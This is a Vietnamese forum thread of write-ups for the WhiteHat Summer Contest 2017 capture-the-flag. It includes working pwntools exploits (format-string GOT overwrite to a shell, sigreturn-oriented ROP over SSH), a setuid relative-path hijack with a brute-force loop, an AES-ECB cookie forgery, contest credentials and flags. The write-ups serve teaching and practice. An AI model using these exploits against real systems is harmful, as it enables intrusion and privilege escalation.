Tổng hợp Write-up cuộc thi WhiteHat Summer Contest 2017

Thảo luận trong 'Writeup Contest' bắt đầu bởi sunny, 29/05/17, 01:05 PM.

  1. sunny

    sunny Điều hành viên Thành viên BQT

    Tham gia: 30/06/14, 10:06 PM
    Bài viết: 1,638
    Đã được thích: 697
    Điểm thành tích:
    113
    Mời các bạn thành viên đến với một phần rất hấp dẫn sau Summer Contest 2017, write-up các bài thi.

    WRITEUP - Copy.png
    WhiteHat Summer Contest 2017 gồm 24 thử thách:
    1. My Khe beach | Lĩnh vực: Miscellaneous | Số đội giải được 6 | Số điểm 200
    2. Ha Long bay | Lĩnh vực: Cryptography | Số đội giải được 10 | Số điểm 250
    3. Thien Cam beach | Lĩnh vực: Reverse Engineering | Số đội giải được 6 | Số điểm 250
    4. Cua Lo beach | Lĩnh vực: Reverse Engineering | Số đội giải được 5 | Số điểm 100
    5. Sam Son beach | Lĩnh vực: Reverse Engineering | Số đội giải được 8 | Số điểm 100
    6. Dai Lanh cape | Lĩnh vực: Reverse Engineering | Số đội giải được 7 | Số điểm 100
    7. Lang Co beach | Lĩnh vực: Reverse Engineering | Số đội giải được 6 | Số điểm 250
    8. Cua Dai beach | Lĩnh vực: Web Security | Số đội giải được 24 | Số điểm 100
    9. Da Nang | Lĩnh vực: Cryptography | Số đội giải được 19 | Số điểm 200
    10. Quang Ngai | Lĩnh vực: Forensics | Số đội giải được 21 | Số điểm 100
    11. Hue | Lĩnh vực: Forensics | Số đội giải được 54 | Số điểm 200
    12. Tuy Hoa | Lĩnh vực: Reverse Engineering | Số đội giải được 37 | Số điểm 100
    13. Da Lat city | Lĩnh vực: Pwnable | Số đội giải được 20 | Số điểm 100
    14. Con Dao islands | Lĩnh vực: Miscellaneous | Số đội giải được 30 | Số điểm 100
    15. Nha Trang beach | Lĩnh vực: Web Security | Số đội giải được 19 | Số điểm 150
    16. Phu Quoc island | Lĩnh vực: Pwnable | Số đội giải được 3 | Số điểm 400
    17. Ba Na Hill | Lĩnh vực: Pwnable | Số đội giải được 4 | Số điểm 300
    18. Mui Ne | Lĩnh vực: Pwnable | Số đội giải được 34 | Số điểm 100
    19. Ho Coc beach | Lĩnh vực: Pwnable | Số đội giải được 11 | Số điểm 100
    20. Cat Ba island | Lĩnh vực: Cryptography | Số đội giải được 23 | Số điểm 200
    21. Dai Lai Lake | Lĩnh vực: Forensics | Số đội giải được 73 | Số điểm 100
    22. Ky Co beach | Lĩnh vực: Pwnable | Số đội giải được 1 | Số điểm 300
    23. Quan Lan beach | Lĩnh vực: Pwnable | Số đội giải được 5 | Số điểm 100
    24. Da Nhay beach | Lĩnh vực: Reverse Engineering | Số đội giải được 14 | Số điểm 200

    Ban tổ chức thân mời các đội chơi chia sẻ đáp án các bài thi để các bạn thành viên tham khảo.

    Một số thông tin thêm về WhiteHat Summer Contest 2017:
    • Thời gian: 24 tiếng (Từ 09:00 thứ 7, ngày 27/5 đến 09:00 Chủ nhật, ngày 28/5/2017)
    • Số bài thi: 24
    • Nội dung thi: 6 (Forensics, Cryptography, Pwnable, Reverse Engineering, Web Security, Miscellaneous )
    • Tổng số lượt bài được giải:440
    • Tổng số điểm tuyệt đối: 4100 (trung bình 170 điểm/bài)
    • Số đội ghi điểm: 108
    ________________
    Bài viết liên quan:
     
    Chỉnh sửa cuối: 30/05/17, 11:05 AM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Writeup Dai Lai Lake - Forensic - 100 points
    upload_2017-5-29_19-24-17.png
    Sau tải về và giải nén, ta được khá nhiều file
    upload_2017-5-29_19-25-36.png
    Mở các thư mục xem, thì ta thấy có file sql thử mở bằng sqlite3
    upload_2017-5-29_19-29-33.png
    Mở dữ liệu các bảng thì thấy có thông tin, nhưng không phải flag
    Chú ý email, ta thấy email này có domain rất lạ, một tên miền spam email.
    upload_2017-5-29_19-35-12.png
    Truy cập vào trang web và điền thông tin giống email, đúng như dự đoán, đây là email spam nên không cần phải điền mật khẩu
    upload_2017-5-29_19-36-14.png
    Việc còn lại là tìm đến email chứa passcode mới cũng chính là flag
    upload_2017-5-29_19-37-36.png
    WhiteHat{Sha1(check_your_db_before_building_app)}
     
    Chỉnh sửa cuối: 29/05/17, 08:05 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    sunny, whf and ciso93 like this.
  3. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Writeup Ho Coc Beach - Pwnable - 100 points
    Nguồn Abdeljalil Nouiri-HackXore
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    ciso93 and sunny like this.
  4. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Writeup Hue - Forensic - 200 points
    upload_2017-5-31_10-13-57.png
    Tải về và giải nén
    upload_2017-5-31_10-14-49.png
    Rất nhiều hình các quốc gia và mã qrcode
    upload_2017-5-31_10-16-22.png
    Ghép các hình lại được qrcode chứa password để giải nén file
    upload_2017-5-31_10-30-39.png
    File flag.txt chỉ có vài dòng, tìm các decode hình này
    [​IMG]
    Decode bằng điện thoại ta lấy được flag​
    WhiteHat{Sha1(d0tc0d3_s0_c00l)}
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf, ciso93 and sunny like this.
  5. ciso93

    ciso93 W-------

    Tham gia: 17/05/15, 10:05 PM
    Bài viết: 22
    Đã được thích: 7
    Điểm thành tích:
    8
    xin lỗi mod nhưng cho mình interupt một chút. Cái phần Hue Forensic 200 thì dùng phần mềm gì để ghép các hình lại thành bar code vậy ạ :-? với cả cái này chỉ đơn thuần là chơi jigsaw puzzle chứ không có hint gì để mình biết trước thứ tự của các hình có chứa barcode đúng không ạ?
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. komang4130

    komang4130 New Member

    Tham gia: 27/04/17, 12:04 AM
    Bài viết: 3
    Đã được thích: 6
    Điểm thành tích:
    3
    [​IMG]
    Bạn có thể dùng trang http://www.ofoct.com/merge-jpg-files
    Sau đó chọn tùy chon Fixed Col , sửa số 3 thành số 4 ( 4x4 )
    Sau đó đặt ảnh theo đúng thứ tự là ra
    upload_2017-5-31_13-16-44.png
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf, Sugi_b3o and ciso93 like this.
  7. mu040895

    mu040895 New Member

    Tham gia: 05/04/17, 05:04 PM
    Bài viết: 2
    Đã được thích: 1
    Điểm thành tích:
    1
    Cho m hỏi là link app decode dot code với. Làm ra cái ảnh mà tìm hoài không thấy link
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  8. komang4130

    komang4130 New Member

    Tham gia: 27/04/17, 12:04 AM
    Bài viết: 3
    Đã được thích: 6
    Điểm thành tích:
    3
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Sugi_b3o thích bài này.
  9. nQg

    nQg W-------

    Tham gia: 05/01/15, 03:01 PM
    Bài viết: 22
    Đã được thích: 12
    Điểm thành tích:
    18
    Decode dot code thì dùng trang online này cũng được, không nhất thiết phải tải về :)))
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf, mu040895 and Sugi_b3o like this.
  10. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Thực sự đây là cách làm nhanh của mình :D :D bởi vì qrcode chỉ cần chính xác tầm 80%~ trở lên là ứng dụng quét có thể auto fixed rồi
    [​IMG]
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf and ciso93 like this.
  11. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Writeup fomat_me - Pwn - 100 points

    Format string is very popular. Can you exploit it this time?
    BTW, Mui Ne is a familiar summer vacation destination in Viet Nam.
    Netcat: nc formatme.wargame.whitehat.vn 1337
    Download file:
    http://material.wargame.whitehat.vn/contests/13/fomat_me.zip<md5:2b629d8aa66e63da677a691615363a25>
    Backup:
    http://bak.material.wargame.whitehat.vn/contests/13/fomat_me.zip<md5:2b629d8aa66e63da677a691615363a25>
    nc backup.wargame.whitehat.vn 33333
    fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped
    [​IMG]
    format string, stack buffer overflow quá rõ ràng.
    Stack overflow thì có vẻ chưa ổn lắm vì dính CANARY.
    Ta theo hướng format string, từ buff s tới ebp là 0x2c + 8 = 44 + 8 = 52 bytes.
    Với lượng bytes như này thì payload format string sẽ thường đè qua cả stack cookie => call ___stack_chk_fail rồi exit.
    Ta sẽ thực hiện ghi đè __stack_chk_fail GOT thành main để khi call ___stack_chk_fail ta sẽ quay về main lại, đồng thời thực hiện leak libc bằng __libc_start_main.

    Tiếp theo khi trở lại được main rồi ta tiếp tục thực hiện ghi đè setvbuf => system, stdin => /bin/sh.
    ___stack_chk_fail sẽ được gọi thêm lần nữa => quay về main thực hiện setvbuf(stdin) lúc này là system("/bin/sh") => shell
    Mã:
    from pwn import *
    import time
    context(arch = 'i386', os = 'linux')
    def write2mem(r,addr_value,offset,prefix="",suffix="",sub=0):
            d = []
            for addr,value in addr_value:
                    d.append((value>>16,addr+2))
                    d.append((value&0xffff,addr))
            d.sort()
            payload=""
            address = ""
            v = 0
            for value,addr in d:
                    value = value-len(d)*4-sub
                    if value==v:
                            payload+="%{}$hn".format(str(offset))
                    else:
                            payload+="%{}x%{}$hn".format(str(value-v),str(offset))
                    v = value
                    address+=p32(addr)
                    offset+=1
            payload = prefix+address+payload+suffix
            return payload
    
    def exploit():
            __stack_chk_fail_GOT = 0x0804A014
            main = 0x0804851B
            setvbuf = 0x0804A020
            stdin = 0x0804A040
        
            HOST = 'formatme.wargame.whitehat.vn'
            PORT = 1337
            r = remote(HOST, PORT)
      
            offset = 7
            r.recvuntil("echo ")
            payload = write2mem(r,[(__stack_chk_fail_GOT,main)],offset,"","%20$p%19$p")
            r.sendline(payload)
            leak = r.recvuntil("echo ")[-5-len("0xf7538637"):-5]
            __libc_start_main = int(leak,16)-247
            offset_system = 141408
            offset_str_bin_sh = 1323755
            system = __libc_start_main + offset_system
            str_bin_sh = __libc_start_main + offset_str_bin_sh
            payload = write2mem(r,[(setvbuf,system),(stdin,str_bin_sh)],offset,"","")
            r.sendline(payload)
            r.interactive()
    
    exploit()
    Nguồn Phiêu Lãng Blog
     
    Chỉnh sửa cuối: 31/05/17, 10:05 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  12. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 188
    Đã được thích: 167
    Điểm thành tích:
    43
    Writeup Nha Trang Beach - Web - 150 points
    --flagstored--

    get locidol 's flag, then try diving in Nha Trang beach.

    Website URL: web01.wargame.whitehat.vn

    Backup: bak.web01.wargame.whitehat.vn:3880
    _ Ta reg 1 acc tancuibap xem thử.
    [​IMG]
    _Mở BurpSuite để xem khi ta “stored” flag và secret.
    [​IMG]
    _ Ở đây chúng ta lưu ý chuỗi JSON và biến cookie data.
    _ Biến data của chúng ta sẽ được mã hóa theo AES-ECB mỗi 13 ký tự trong chuỗi JSON có nghĩa là
    Data = 256ROT13(AES_ECB(“Chuỗi JSON”))
    _ Lúc đầu theo team gợi ý là Flip bit nhưng do mình code nope quá không ra. Sau đó mình thấy đề bài nói là “get locidol 's flag, then try diving in Nha Trang beach.” Nên mình tìm cách làm sao để username thành locidol
    _ Đầu tiên mình reg một acc là {"username":"loc1234","secret":"","flag":""} từ đó mình sẽ được 32byte đầu tương ứng với {"username":"loc. Sau đó mình reg thêm 1 acc là {"username":"tanidol","secret":"","flag":""} sau đó mình thay 32byte đầu của acc trên thay cho 32 byte đầu của acc sau thì sau khi decrypt sẽ được chuỗi JSON {"username":"locidol","secret":"","flag":""}.
    Cookie:data=eed3b3226d35e3b11453d502c844062159adbb170c73e85d2d45c9dfa423f3a4f209fcfe392d0aa86ba8a7ceeb044cd3
    [​IMG]
    Nguồn TânCùiBắp Blog
     
    Chỉnh sửa cuối: 31/05/17, 11:05 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    sunny thích bài này.
  13. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 849
    Đã được thích: 603
    Điểm thành tích:
    113
    Phu Quoc island | Lĩnh vực: Pwnable | Số đội giải được 3 | Số điểm 400

    Description:
    Mã:
    Ssh onto the server and pwn the program in  /home/pwnstart/problem521a60a832b5891ec4ee98b386b2952e. Then soak up the sun, enjoy white sands and tropical waters on Phu Quoc Island.
    
    ssh [email protected]
    
    Backup: ssh [email protected] -p 1022
    
    password: 9283rowjfow32ordosw023
    solve.py

    Mã:
    #!/usr/bin/env python2
    
    from pwn import *
    
    ###
    
    if len(sys.argv) > 1:
        DEBUG = False
    else:
        DEBUG = True
    
    context.log_level = 'debug'
    context.arch = 'amd64'
    
    ###
    
    if DEBUG:
        r = process('./start_nx_64_add_stack')
    else:
        # tmp directory needs to have a file 'upon: ' with code to execute: eg, flag reader program
        s = ssh(host = 'start.wargame.whitehat.vn', user = 'pwnstart1', password = '9283rowjfow32ordosw023')
        # tmp folder needs to have the executable script/binary
        s.set_working_directory('/tmp/totolaxa')
        r = s.process('/home/pwnstart/problem521a60a832b5891ec4ee98b386b2952e/start_nx_64_add_stack', env = {'PATH':'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp/totolaxa'})
    
    GDB = False
    if GDB:
        gdb.attach(r, 'b *0x0000000000400152')
    r.recvuntil('weapon: ')
    f = SigreturnFrame()
    f.rax = constants.SYS_execve
    f.rdi = 0x4000fa # string in binary
    f.rsi = 0x0
    f.rdx = 0x0
    f.rsp = 0x00000000004000F4
    f.rip = 0x00000000004000f4 # syscall
    ROP  = 'A' * 40
    ROP += p64(0x00400151) # pop rdx ; ret
    ROP += p64(0x300)
    ROP += p64(0x400149)
    
    log.info('len(ROP): %#x' % len(ROP))
    r.sendline(ROP)
    
    time.sleep(2)
    
    ROP  = p64(0x300) * 13
    ROP += p64(0x0000000000400132)
    ROP += p64(0x300) * 5
    ROP += p64(0x00000000004000f4) # syscall
    ROP += str(f)
    r.sendline(ROP)
    
    time.sleep(2)
    
    r.send('A' * 15) # set sigret rax
    
    r.interactive()
    if not DEBUG:
        s.close()
    r.close()
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    poseidon and Sugi_b3o like this.
  14. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 849
    Đã được thích: 603
    Điểm thành tích:
    113
    Da Lat city | Lĩnh vực: Pwnable | Số đội giải được 20 | Số điểm 100

    Description:

    Mã:
    Ssh onto the server and pwn the program in /home/cheatme
    
    And your summer vacation destination is a year round cool and green city, Da Lat.
    
    ssh [email protected]
    
    password: [email protected]#$
    
    backup
    
    ssh [email protected] -p 1016
    password: [email protected]#$
    This was an easy pwn challenge. The organizer provided ssh access to one of their servers and you had to exploit this cheatme binary to get the flag. You can find the binary here.

    First of all, we can see that the binary is a stripped, 32-bit ELF:

    Mã:
    cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b1d351292ce3c22474678ea7f4084efe3243f3c5, stripped
    
    And it was compiled with the following mitigations:

    Mã:
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    We’ll soon realize that we don’t really care about the mitigations for this challenge.

    When we run cheatme we notices it asks for credentials, so let’s understand what it does with IDA Pro. This is the pseudocode of main():

    Mã:
    int __cdecl main()
    {
      sub_80488FB();
      sub_8048C97();
      puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
      sub_8048AF5();
      puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
      sub_8048D77();
      puts("   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ");
      return 1;
    }
    Let’s analyze what all these functions do.

    sub_80488FB() opens the file head and prints its output. Nothing interesting.

    sub_8048C97() is the function that checks for a username and has this code:

    Mã:
    int sub_8048C97()
    {
      FILE *fd; // [sp+Ch] [bp-4Ch]@1
      char s[30]; // [sp+10h] [bp-48h]@4
      char s1[30]; // [sp+2Eh] [bp-2Ah]@4
      int canary; // [sp+4Ch] [bp-Ch]@1
    
      c = *MK_FP(__GS__, 20);
      fd = fopen("../../problem/login/user.txt", "r");
      if ( !fd )
      {
        puts("|\rFile user does not exist");
        exit(0);
      }
      fscanf(fd, "%s", s1);
      printf("|\tEnter user     :  ");
      fgets(s, 30, stdin);
      strtok(s, "\n");
      if ( strcmp(s1, s) )
      {
        puts("|\tAccount does not exist. ");
        exit(0);
      }
      return *MK_FP(__GS__, 20) ^ c;
    }
    It basically opens the file ../../problem/login/user.txt in s1, reads user input in s, and the it compares the strings. If they don’t match they fail. Since the pathname of the file being opened is not absolute, we can easily bypass this check by running cheatme from a different path where we can control the user.txt file. Let’s remember this for later, when we start our exploitation.

    sub_8048AF5() is the function that checks for the password has this code:

    Mã:
    int sub_8048AF5()
    {
      int v0; // [email protected]
      int v2; // [sp+Ch] [bp-6Ch]@4
      char nptr[5]; // [sp+17h] [bp-61h]@4
      char v4; // [sp+1Ch] [bp-5Ch]@4
      char s[4]; // [sp+21h] [bp-57h]@1
      int v6; // [sp+25h] [bp-53h]@1
      int v7; // [sp+29h] [bp-4Fh]@1
      int v8; // [sp+2Dh] [bp-4Bh]@1
      int v9; // [sp+31h] [bp-47h]@1
      char dest[16]; // [sp+35h] [bp-43h]@1
      char v11; // [sp+45h] [bp-33h]@1
      char s1[17]; // [sp+4Eh] [bp-2Ah]@1
      char s2[13]; // [sp+5Fh] [bp-19h]@4
      int c; // [sp+6Ch] [bp-Ch]@1
    
      c = *MK_FP(__GS__, 20);
      *(_DWORD *)s = 0;
      v6 = 0;
      v7 = 0;
      v8 = 0;
      v9 = 0;
      printf("|\tEnter Password :  ");
      fgets(s1, 30, stdin);
      sub_8048957(s1);
      strncpy(dest, s1, 16u);
      v11 = 0;
      if ( strcmp(dest, "ContestChallenge") )
      {
        puts("|\tPassword incorrect!. Try again.");
        exit(0);
      }
      strncpy(nptr, s2, 5u);
      v4 = 0;
      v2 = atoi(nptr);
      if ( v2 <= 9999 )
      {
        puts("|\tPassword incorrect!. Try again.");
        exit(0);
      }
      v0 = (31250 * sub_80489B4(dest) & 0x7FFFFFF) + v2;
      sub_8048A5A(v0, s);
      if ( (v2 ^ sub_80489B4(s)) % 22 != 8 )
      {
        puts("|\tPassword incorrect!. Try again.");
        exit(0);
      }
      return *MK_FP(__GS__, 20) ^ c;
    }
    Ok there are a couple more checks for the password. Let’s check all of them.

    Of course the first thing the function does is loading the user input in s1, which is then passed to sub_8048957(). This function only checks that the length of s1 is 23 and that s1[16] == "-". One thing to notice is that IDA shows s1 and s2 as two separate variables sized 17 and 13 bytes, but thefgets() function reads 30 bytes, which is the sume of the two variables. They are contiguous (you can see that in the declarations’ comments), so they are effectively a single block of memory, and fgets() will write on all of it.

    Then the first 16 bytes of s1 are copied into dest, and it checks whetherdest == "ContestChallenge".

    Then it copies the first 5 bytes of s2 in nptr, converts them to an integer, and checks if this number is greater than 9999. Then it does a bunch of operations in sub_80489B4() and sub_8048A5A(), but we already know enough to start attacking the software. Let’s move onto the next and last function.

    sub_8048D77() is the function that runs a python file called get_flag.py:

    Mã:
    int sub_8048D77()
    {
      __uid_t v0; // [email protected]
      __uid_t v1; // [email protected]
      __gid_t v2; // [email protected]
      __gid_t v3; // [email protected]
      signed int i; // [sp+Ch] [bp-Ch]@1
    
      puts("|\tYou can read file flag.txt???");
      write(1, "|\tLoading File: ", 17u);
      for ( i = 0; i <= 2; ++i )
      {
        write(1, ".", 1u);
        sleep(1u);
      }
      v0 = geteuid();
      v1 = geteuid();
      setreuid(v1, v0);
      v2 = getegid();
      v3 = getegid();
      setregid(v3, v2);
      return system("./get_flag.py");
    }
    Nothing too complicated here, after setting euid and egid (the binary is +s on the remote server), it runs ./get_flag.py. Also in this case it’s a relative path, so it can be controlled.

    Ok let’s plan an attack:
    1. We have to replicate the original environment because there are many relevant files that are either loaded or executed with relative paths.
    2. We can bypass the username check by adding our own username in theuser.txt file in the replicated environment.
    3. We can bypass the password by providing the string ContestChallenge-XXXXX where XXXXX is a number.
    4. We can run any command by creating get_flag.py with arbitrary content. Or we can run the original file if we want.
    Let’s do this. First, let’s see the original environment:

    Mã:
    [email protected]:~/problem/login$ ls -l
    total 28
    -r-s--sr-x 1 authenticated authenticated 9728 May 26 18:32 cheatme
    -r-------- 1 authenticated authenticated   43 May 24 23:58 flag.txt
    -r-x------ 1 authenticated authenticated 1728 May 24 23:58 get_flag.py
    -r--r--r-- 1 authenticated cheatme        490 May 24 23:58 head
    -r-------- 1 authenticated authenticated   17 May 24 23:58 user.txt
    
    cheatme is setuid authenticated:authenticated. All the other files are either self-explanatory or have been described before.

    Let’s re-create the environment:

    Mã:
    [email protected]:~$ mkdir /tmp/...
    [email protected]:~$ cd /tmp/...
    [email protected]:/tmp/...$ mkdir -p problem/login
    [email protected]:/tmp/...$ cd problem/login/
    [email protected]:/tmp/.../problem/login$ echo admin>user.txt
    [email protected]:/tmp/.../problem/login$ printf "admin\nContestChallenge-XXXXX\n" | ~/problem/login/cheatme
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    Ok the user bypass works. The password is of course wrong, as we have to find the right numbers that validate all the checks. To do this we can just bruteforce the number:

    Mã:
    [email protected]:/tmp/.../problem/login$ for a in $(seq 10000 99999); do echo $a; printf "admin\nContestChallenge-$a\n" | ~/problem/login/cheatme; done
    10000
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10001
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10002
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10003
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10004
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10005
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :  |    Password incorrect!. Try again.
    10006
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    You can read file flag.txt???
    |    Loading File: ...sh: 1: ./get_flag.py: not found
    
    Bingo! 10006 passes the checks as the program tries to execute./get_flag.py which obviously doesn’t exist in this directory. So we create it and run cheatme again:

    Mã:
    [email protected]:/tmp/.../problem/login$ echo cat ~/problem/login/flag.txt > get_flag.py
    [email protected]:/tmp/.../problem/login$ chmod +x get_flag.py
    [email protected]:/tmp/.../problem/login$ printf "admin\nContestChallenge-10006\n" | ~/problem/login/cheatme
    |    Enter user     :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    Enter Password :     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    |    You can read file flag.txt???
    |    Loading File: ...Life is trying things to see if they work.
    Bingo! Life is trying things to see if they work. is our flag. The flag format is WhiteHat{sha1(flag)} therefore the final flag is
    WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}.

    JBZ Team
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  15. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 849
    Đã được thích: 603
    Điểm thành tích:
    113
    Tuy Hoa | Lĩnh vực: Reverse Engineering | Số đội giải được 37 | Số điểm 100

    Description:

    Mã:
    REVERSE ME…
    
    Download file:
    
    http://material.wargame.whitehat.vn/contests/13/TuyHoa.zip
    
    <md5:7089b9cc64431bb2c896bd026db40f0b>
    
    Backup:
    
    http://bak.material.wargame.whitehat.vn/contests/13/TuyHoa.zip
    
    <md5:7089b9cc64431bb2c896bd026db40f0b>
    Note: Submit WhiteHat{flag+'0'}
    This is the RE problem that is able to solve by angr.

    I find out that I can get flag if go through 0x400ea8. And if password wrong, go to 0x40096d.

    screenshot_1.png
    screenshot_2.png
    So I write script by using angr as below.

    Mã:
    import angr
    def main():
        p = angr.Project(“./re100”, load_options={‘auto_load_libs’: False})
        ex = p.surveyors.Explorer(find=(0x400EA8, ), avoid=(0x40096D,))
        ex.run()
        return ex.found[0].state.posix.dumps(0).strip(‘\0\n’)
    def test():
        assert main() == ”
    if __name__ == ‘__main__’:
        print main()
    Mã:
    $ python solve_re100.py
    [email protected]@@@@@@@@@@@@@@
    @@@@
    $ ./re100
    input password:
    5a62af9a23b56ee49370808a0cf1e80967572570
    Good password!!!
    nacayoshi00
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan